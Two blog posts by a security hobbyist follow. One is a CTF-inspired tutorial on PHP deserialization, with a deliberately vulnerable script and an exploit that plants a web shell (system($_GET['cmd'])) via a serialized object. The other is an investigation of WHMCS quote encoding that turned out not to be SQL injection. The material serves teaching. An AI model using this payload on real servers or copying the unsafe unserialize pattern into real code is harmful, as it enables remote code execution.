Categories
Hacking Security Tutorials

PHP Deserialization

Exploiting it to gain remote code execution

PHP Deserialization is not something that I have much experience of, but having done a CTF recently which required me to exploit PHP deserialization to gain remote access, I realised how straight forward it can be. Through this post, I aim to provide a basic example of a deserialization to RCE exploit for those who aren’t familiar.

Before I share an example, let’s first review what serialization and deserialization mean. This write up assumes you have a very high level understanding of object orientation in programming languages.

What is serialization?

Put simply, serialization is a way to turn an object into a string. For example, you may have a user object in PHP that needs to be transmitted over the network to a users web browser, so that client side scripting such as JavaScript can handle the object, and read the properties of the object.

Essentially, serialization turns the PHP object into a string, ready for transmitting over a network.

What is deserializastion?

Deserialization is very simply the opposite of serialization. It turns a serialized string back into an object.

A vulnerable PHP Script (vuln.php)

I don’t claim to be an expert in serialization so there may well be other methods which I’m not covering, but I hope to show you an example where it is possible to gain Remote Code Execution.

Consider the following vulnerable code which writes the current time to a text file.

<?php

$getVar = $_GET['update'];

class timeUpdate
{
	public $currentTime = '';
        public $outputFile = 'time.txt';

        public function changeTime()
        {
                echo 'The time in the file will be updated imminently.';
        }


        public function __destruct()
        {
		file_put_contents('/home/bootlesshacker/' . $this->outputFile, $this->currentTime);
        }
}


$timeobject = unserialize($getVar);

$example = new timeUpdate;
$example->currentTime = date("F j, Y, g:i a");
$example->changeTime();


?>

Before we try and work out how to exploit this, let’s understand how this works. The PHP file contains a class called timeUpdate. At the bottom of the script, a new object is created ($example) using the timeUpdate class. The currentTime attribute is then set, and the changeTime function is called. The changeTime function simply echoes a message to advise the time in the file will be updated imminently.

The __destruct() function is then called which writes the contents of the current time to the file stored in the $this->outputFile variable – the reason this function executes is because the script has come to an end and the destruct function is called for any required cleanup activity (or, in this case, to write the current time to the required file).

But how can we exploit this?

You may also notice the file contains a line which uses the unserialize function to unserialize a HTTP GET variable ($_GET[‘update’]). Therefore, if we pass a serialized object string to that GET variable, it will unserialize it and the $timeobject will become the object we pass in via that GET variable.

We can exploit this by creating a timeUpdate object locally on our computer.

Let’s create a PHP file on our own computer to create our object.

<?php

class timeUpdate {
	public $currentTime = '<?php system($_GET["cmd"]); ?>';
	public $outputFile = 'shell.php';

}

echo urlencode(serialize(new timeUpdate));

?>

When we run this file, it creates a new timeUpdate object, sets the currentTime variable to our payload, sets the output file name as shell.php, and then serializes this new object into a string. It then puts this serialized string into the urlencode function.

If we then visit the vulnerable PHP file passing the above value in via the GET parameter, it will create a new file called shell.php with our payload.

http://vulnerable-website.fake/vuln.php?update=OUTPUT FROM OUR SCRIPT

This works because as the vulnerable PHP script executes, it takes our GET parameter, unserializes our object (thereby creating our object within the context of the PHP script). As the script comes to an end, the destruct function for our new object is then called. This creates the new file called shell.php and inserts our payload which we can then use to get remote code execution:

This is a very basic example of exploiting PHP deserialization. The script you come across will likely have a different function, and you will need to identify what the script is doing in order to assess for any serialization vulnerabilities. I hope though this provides a small insight if you’ve not come across this before.

Categories
Hacking News Opinions Security

Barking up the wrong tree

Investigating what I thought could be an SQL Injection in WHMCS

For those of you who haven’t heard of WHMCS before, you may have heard of cPanel/WHM? cPanel is a very popular control panel installed to many web servers worldwide (WHM is the administration panel that sits behind it).

WHMCS is a very popular billing system which integrates seamlessly with cPanel and WHM for automatic account creation. In my opinion, it hasn’t had a great security history. It’s probably better these days, but I recall reporting an XSS vulnerability to them a few years ago and I wasn’t particularly happy with the way they prioritised it.

Recently, I was logged onto a WHMCS instance used by one of the hosting companies I use. For reasons that aren’t relevant, I tried to disable two factor authentication on my account. When you try to do this on WHMCS, it asks you for your password. I input my password, but the system said my password was wrong? It certainly wasn’t – I put it in straight from my password manager.

I observed my password contained a quote, and wondered whether this could be triggering some sort of SQL issue.

To test this, I changed my password to the same value, but removed the single quote. This time, disabling Two Factor Authentication worked fine, without error.

Have I just discovered an SQL Injection in WHMCS? This seemed serious enough for me to investigate – it was certainly behaving in a way it shouldn’t.

I purchased a monthly license, and installed WHMCS to my local machine. Further testing needed to be done.

The source code of WHMCS is closed source and obfuscated, so it’s not as easy as looking at the source code to see what it’s doing.

I registered a new client account, ensuring to put a quote in my password, and I was able to replicate the issue locally. The version I installed was 8.0.4 – I haven’t tested other versions.

I decided to load Burpsuite to try and capture the registration request before it was passed onto the server. From here, I exported the request and loaded it into SQLMap – a useful tool for automatically testing for SQL vulnerabilities. To my surprise, SQLMap didn’t find any SQL vulnerabilities.

I wasn’t going to leave it there though – this code was misbehaving and I wanted to find out why. When quotation marks cause errors in user inputs, it is often indicative of an SQL error and potential SQL Injection risk. If SQLMap couldn’t identify any SQL injection risks, why was this code misbehaving?

After much discussion and help from atthacks, we identified the issue we were dealing with wasn’t an SQL Injection risk – disappointing, I thought I was onto something here!

As part of our analysis, we registered an account with the following password: password’

We then took the hash from the database and cracked it using John.

The output from John the Ripper

As we can see, the quote has stored in the database as &#039;. Therefore, as far as the system is concerned, my password was actually password&#039;, not password’. The quote seems to have been represented as the ASCII code for a quote, rather than the quote itself.

The question is, why would they do this? Technically, you can limit SQL Injection risks by removing quotes, but it certainly shouldn’t be relied upon. There are potential ways around this. They should be using proper parameterised queries to fully mitigate SQL injection vulnerabilities. I can only assume they’re doing both, as I found no way to leverage this into an SQL Injection.

This is completely unnecessary – parameterised queries will eliminate the SQLi risk. Encoding the quotation marks offers no further protection and breaks functionality.

The thing that bothers me most about this though is how this bug hasn’t been picked up on a penetration test? This bug isn’t a security bug, but a penetration test would have easily identified this. Do they not pentest their software before they make the software available? Was this tested but missed? Or, was it identified during testing, but added to the pile of bugs not worth fixing? Who knows – it does highlight serious concerns though at the level of security testing they do prior to releasing their software though. I’ve used WHMCS myself in previous jobs – I can’t say I have enough trust in its security these days, especially when you consider the type of data it should be securing.